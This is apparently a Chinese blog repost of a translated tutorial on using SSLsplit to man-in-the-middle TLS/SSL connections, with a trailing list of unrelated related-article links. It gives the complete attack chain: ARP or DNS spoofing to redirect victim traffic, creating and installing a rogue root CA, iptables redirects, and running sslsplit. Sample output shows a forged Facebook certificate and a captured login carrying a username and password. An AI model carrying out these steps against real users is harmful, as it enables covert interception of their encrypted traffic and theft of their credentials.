使用sslsplit嗅探tls/ssl连接
首先发一个从youtube弄到的sslsplit的使用教程
http://v.qq.com/page/x/k/s/x019634j4ks.html
我最近演示了如何使用mitmproxty执行中间人攻击HTTP(S)连接。当mitmproxy工作支持基于HTTP的通信,它不了解其他基于基于TLS/SSL的流量,比如FTPS,通过SSL的SMTP,通过SSL的IMAP或者其他一些覆盖TLS/SSL的协议。
SSLsplit是一般的通过所有安全通信协议来进行中间人攻击TLS/SSL代理。使用SSLsplit可以拦截保存基于SSL流量,从而监听任何安全连接。
1、工作原理
SSLsplit和其他SSL代理工具十分相似:它可以作为客户端和服务器之间的中间人。只要流量被重定向到SSLsplit运行(更改默认网关、ARP欺骗或其他手段)的服务器,SSLsplit开始进行SSL连接并假装是客户端连接到的服务器。要做到这一点,它会动态声称一个证书,使用CA证书的私钥(客户端信任的)签名。
举个例子,如果一个客户想要使用Gmail SMTP服务器发一封email(smtp.gmai.com 端口为465,SSLsplit创建了一个证书,然后假装成Gmail的mail服务器指向客户端。在上行方向(指向真正的Gmil服务器),SSLsplit连接到客户端,很像衣蛾普通的客户端——转发所有的实际客户端写的流量。
如果你对细节有兴趣,请查看如何工作部分的博客,关于HTTP截获与mitmproxy。其基本概念是相同的,所以比较容易理解。
2、安装运行SSLsplit
如何拦截SSL(和非SSL)流量。
2.1 流量重定向
2.1.1 使用ARP欺骗通过发布到攻击者的IP地址,从标准的网关的MAC地址映射虚假重定向受害者的流量。你并不需要物理访问受害者。查看arpspoof工具。
2.1.2 修改受害者的默认网关。
2.1.3 最简单的方法是有机会接触到受害人的设备。
2.1.4 加强DSN和可以反悔攻击者IP地址的DNS服务器入口。看关于DNS spoofing的教程。
2.1.5 通过修改/etc/hosts文件重定向每个域。
上面提到的最简单的方法就是改变受害者的默认网关地址,将其改为攻击者的IP。确保流量通过你的机器。因为我们之后需要安装CA证书,我们需要物理访问受害者的机器。
2.2 安装
下载并编译SSLsplit
1
2
3
4
5
6
7
|
wget http: //mirror .roe.ch /rel/sslsplit/sslsplit-0 .4.7. tar .bz2 bunzip2 sslsplit-0.4.7. tar .bz2 tar xvf sslsplit-0.4.7. tar cd sslsplit-0.4.7 apt-get install libssl-dev libevent-dev make mkdir /tmp/sslsplit |
2.3 创建并安装根CA证书
为了让SSLsopit可以充当中间人,它受害者必须信任存储攻击者的根CA证书。根据客户端(浏览器、电话)的类型,根证书还是有些不同的
生成一个CA私钥和证书:
openssl需要为最新版,要不会出现莫名奇妙的问题,Ubuntu16自带openssl1.0.1g最新版
1
2
|
openssl genrsa -out ca.key 4096 openssl req -new -x509 -days 1826 -key ca.key -out ca.crt |
2.4 启用IP转发和NAT引擎(iptables)
在这个例子里,SSLsplit将在两个端口上运行:8080 用在非SSL TCP连接,比如HTTP,SMTP或者TFP;8443用于SSL连接,比如通过SSL的SMTP,HTTPS等。未来装法到达攻击者机器的包到这些内部端口,NAT引擎可以被使用。
1
2
3
4
5
6
7
8
9
|
sysctl -w net.ipv4.ip_forward=1 iptables -t nat -F iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080 … |
2.5 运行SSLsplit
一旦IP转发非常活跃,数据包被转发到相关端口,你就可以开始SSLsplit。这些听起来很简单,事实也是如此。因为SSLsplit是一个非常强大的工具,因此非常灵活。可以查看更详细的SSLsplit手册来查看更多信息。
合理的参数配置:
1
2
3
4
5
6
7
8
9
|
./sslsplit -D -l connections.log -j /tmp/sslsplit/ -S logdir/ -k ca.key -c ca.cer ssl 0.0.0.0 8443 tcp 0.0.0.0 8080 |
此命令在调试模式下启动SSLsplit (-D,在前台运行,后台没有,详细输出),输出城市连接在日志文件”connections.log”(-l...)。真正的连接内容被写在”/tmp/sslsplit/logdir/“(-j...和-S..)每个单独文件中的每个连接的传入/传出TCP流。
假设你的配置正确,那现在就可以开始浏览和发送/接收电子邮件了。SSLsplit在控制台上输出连接的详细信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
root@pbox:~ /sslsplit-0 .4.7 # ./sslsplit -D -l connections.log -j /tmp/sslsplit/ -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080 Generated RSA key for leaf certs. SSLsplit 0.4.7 (built 2013-07-15) Copyright (c) 2009-2013, Daniel Roethlisberger <daniel@roe.ch> http: //www .roe.ch /SSLsplit Features: -DDISABLE_SSLV2_SESSION_CACHE -DHAVE_NETFILTER NAT engines: netfilter* tproxy netfilter: IP_TRANSPARENT SOL_IPV6 !IPV6_ORIGINAL_DST compiled against OpenSSL 1.0.1c 10 May 2012 (1000103f) rtlinked against OpenSSL 1.0.1c 10 May 2012 (1000103f) TLS Server Name Indication (SNI) supported OpenSSL is thread-safe with THREADID SSL /TLS algorithm availability: RSA DSA ECDSA DH ECDH EC OpenSSL option availability: SSL_OP_NO_COMPRESSION SSL_OP_NO_TICKET SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION SSL_OP_TLS_ROLLBACK_BUG compiled against libevent 2.0.19-stable rtlinked against libevent 2.0.19-stable 4 CPU cores detected proxyspecs: - [0.0.0.0]:8080 tcp plain netfilter - [0.0.0.0]:8443 ssl plain netfilter Loaded CA: '/C=DE/ST=HE/O=Fake CA Certificate/CN=Fake CA Certificate' Using libevent backend 'epoll' Event base supports: edge yes , O(1) yes , anyfd no Inserted events: 0x94b380 [fd 7] Read Persist 0x94ba40 [fd 8] Read Persist 0x94d4c0 [fd 9] Read Persist 0x94b1b8 [fd 6] Read Persist 0x94d550 [fd 3] Signal Persist 0x94d7b0 [fd 1] Signal Persist 0x94d920 [fd 2] Signal Persist 0x94da90 [fd 13] Signal Persist Started 8 connection handling threads Starting main event loop. SNI peek: [www.facebook.com] [complete] Connecting to [31.13.81.33]:443 ===> Original server certificate: Subject DN: /C =US /ST =California /L =Palo Alto /O =Facebook, Inc. /CN =*.facebook.com Common Names: *.facebook.com/*.facebook.com /facebook .com Fingerprint: f5:6b:f2:44:63:b0:bd:61:36:c5:e8:72:34:6b:32:04:28:ff:4d:7c Certificate cache: MISS ===> Forged server certificate: Subject DN: /C =US /ST =California /L =Palo Alto /O =Facebook, Inc. /CN =*.facebook.com Common Names: *.facebook.com/*.facebook.com /facebook .com Fingerprint: 54:de: df :bb:30:95:36:57:c9:11:8d:5f:1f:b6:53:cc:0e:12:e5:b3 ssl [192.168.178.20]:39447 [31.13.81.33]:443 sni:www.facebook.com crt:*.facebook.com/*.facebook.com /facebook .com origcrt:*.facebook.com/*.facebook.com /facebook .com … |
每个文件指示TCP socket可以被打开,显示确切的时间、源和目的IP地址和端口。你可以在文件头中看到:
1
2
3
4
5
6
7
8
9
10
|
root@pbox: /tmp/sslsplit/logdir # head 20130804T162258Z-[192.168.178.20]:39327-[31.13.81.33]:443.log GET / HTTP /1 .1 Host: www.facebook.com Connection: keep-alive Cache-Control: max-age=0 Accept: text /html ,application /xhtml +xml,application /xml ;q=0.9,*/*;q=0.8 User-Agent: Mozilla /5 .0 (X11; Linux i686) AppleWebKit /537 .36 (KHTML, like Gecko) Chrome /27 .0.1453.93 Safari /537 .36 Accept-Encoding: gzip ,deflate,sdch Accept-Language: en-US,en;q=0.8 Cookie: … |
3、示例
你可以使用SSLsplit监听不同的协议。下面是HTTPS,通过SSL的IMAP和通过SSL的SMTP几个例子。
3.1 嗅探HTTPS(google.de & facebook.com)
一旦SSLsplit开始运行,在客户端和实际服务器之间的所有通信都通过SSLsplit。使用-d选项,SSLsplit 打印出连接和证书伪造在STDOUT。除此之外,内容被logdir(”/tmp/sslsplit/logdir”)中。使用 tail -f /tmp/sslsplit/loggdir/20130804T162301Z-*.log,你可以follow客户端和服务器之间的通信。
上面的截图中显示了SSLsplit的输出。这表明上游的Facebook证书是真的,通过SSLsplit伪造证书,两个指纹不同,因为它是由不同的证书颁发机构签署。
较低的控制台显示了HTTPS通信的内容。该截图显示了HTTPS POST请求“https://www.facebook.com/login.php?login_attempt=1”,包括我的用户名(&email=)和密码(&pass=)。
如果一个人点击小锁图片上的任何SSL/TLS加密网站,同时通过SSLsplit将流量重定向,该证书发放给真正的CN,组织(O),和组织单位(OU),但不通过真正的CA颁发。
其他例子可以查看http://blog.philippheckel.com/2013/08/04/use-sslsplit-to-transparently-sniff-tls-ssl-connections/
本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:http://blog.philippheckel.com/2013/08/04/use-sslsplit-to-transparently-sniff-tls-ssl-connections/
以上是原文
下图是我的测试成功图片
使用sslsplit嗅探tls/ssl连接的更多相关文章
- TLS / SSL密码强化的建议
TLS / SSL密码强化的建议 传输层安全性(TLS)及其前身安全套接字层(SSL)是广泛使用的协议,旨在通过身份验证,加密和完整性来保护客户端和服务器之间的数据传输安全. 与常见假设相反,TLS ...
- 用TLS/SSL保证EMQ的网络传输安全
作为基于现代密码学公钥算法的安全协议,TLS/SSL能在计算机通讯网络上保证传输安全,EMQ的MQTT broker支持TLS,也可以用这种方式来确保传输安全. 参考官网:https://www.em ...
- [转]如何借助 TLS/SSL 确保套接字连接的安全(使用 C#/VB/C++ 和 XAML 的 Windows 应用商店应用)
本文转自:http://msdn.microsoft.com/zh-cn/library/windows/apps/jj150597.aspx 本主题将展示在使用 StreamSocket 功能时,如 ...
- TLS,SSL,HTTPS with Python(转)
From: 扫盲 HTTPS 和 SSL/TLS 协议[0]:引子 需要了解的背景知识: 术语 HTTPS,SSL,TLS 长连接与短连接的关系 了解 CA 证书 基本流程 一.术语扫盲 1.什么是S ...
- 使用 JSSE 定制 SSL 连接的属性--转载
当数据在网络上传播的时候,通过使用 SSL 对其进行加密和保护,JSSE 为 Java 应用程序提供了安全的通信.在本篇有关该技术的高级研究中,Java 中间件开发人员 Ian Parkinson 深 ...
- Node.js TLS/SSL
Stability: 3 - Stable 可以使用 require('tls') 来访问这个模块. tls 模块 使用 OpenSSL 来提供传输层(Transport Layer)安全性和(或)安 ...
- 关于在最新的 Visual Studio 2017 版本中使用 Web Deploy 遇到的 SSL 连接错误
错误信息: 无法完成向远程代理 URL 发送请求.请求被中止: 未能创建 SSL/TLS 安全通道. 原因分析: 最新版本的 Visual Studio 中,已经抛弃了 https 协议中旧版 SSL ...
- Android : 关于HTTPS、TLS/SSL认证以及客户端证书导入方法
一.HTTPS 简介 HTTPS 全称 HTTP over TLS/SSL(TLS就是SSL的新版本3.1).TLS/SSL是在传输层上层的协议,应用层的下层,作为一个安全层而存在,翻译过来一般叫做传 ...
- SSL连接分为两个阶段:握手和数据传输阶段
一.SSL概述SSL连接分为两个阶段:握手和数据传输阶段.握手阶段对服务器进行认证并确立用于保护数据传输的加密密钥,必须在传输任何应用数据之前完成握手.一旦握手完成,数据就被分成一系列经过保护的记录进 ...
随机推荐
- 使用Visual Studio制作安装包
目 录 第1章 合并模块 3 1.1 SystemDll 3 1.1.1 收集文件 3 1.1.2 新建项目 4 1.1.3 增加自定义文件夹 4 1.1.4 设置部署位 ...
- Unity5.1 新的网络引擎UNET(十五) Networking 引用--上
http://blog.csdn.net/u010019717/article/details/46993697 孙广东 2015.7.21 本节提供了与网络系统一起使用的组件的详细信息. 1.Ne ...
- sealed(C# 参考)
sealed 修饰符可以应用于类.实例方法和属性.密封类不能被继承.密封方法会重写基类中的方法,但其本身不能在任何派生类中进一步重写.当应用于方法或属性时,sealed 修饰符必须始终与 overri ...
- JavaScript:闭包
根据MDN上的解释『闭包是指函数有自由独立的变量.换句话说,定义在闭包中的函数可以“记忆”它创建时候的环境.』 闭包有两个主要的作用: 1.访问内部函数的局域变量: 2.将创建的变量永久保存在内存中, ...
- Growing转化的每一步(笔记整理)
渠道流量监控中,如何将劣质流量和优质流量区分开来? 劣质流量总会有有一些不同于其他正常渠道的特征,比如在同一个时间中大量集中访问.使用的硬件设备比较固定.使用特定的浏览器等. 实际案例:去年有一些 A ...
- hdu----(4308)Saving Princess claire_(搜索)
Saving Princess claire_ Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/ ...
- Jquery元素追加和删除
原文链接:http://www.cnblogs.com/william-lin/archive/2012/08/12/2635402.html 介绍 DOM是Document Object Mo ...
- Tomcat配置虚拟主机的两种方式
1.基于主机名的虚拟主机配置 在随意盘符下建立一个目录作为虚拟地址的目录.例如:F:\virtualhost1,在其下建立 test1.html,写入内容例如:test 在tomcat/conf/se ...
- FZU 2214 Knapsack problem 01背包变形
题目链接:Knapsack problem 大意:给出T组测试数据,每组给出n个物品和最大容量w.然后依次给出n个物品的价值和体积. 问,最多能盛的物品价值和是多少? 思路:01背包变形,因为w太大, ...
- "数学口袋精灵"bug的发现
团队成员的博客园地址: 曾治业:http://www.cnblogs.com/zzy999/ 陈焕恳:http://www.cnblogs.com/4249ken/ 蓝叶:http://www.cnb ...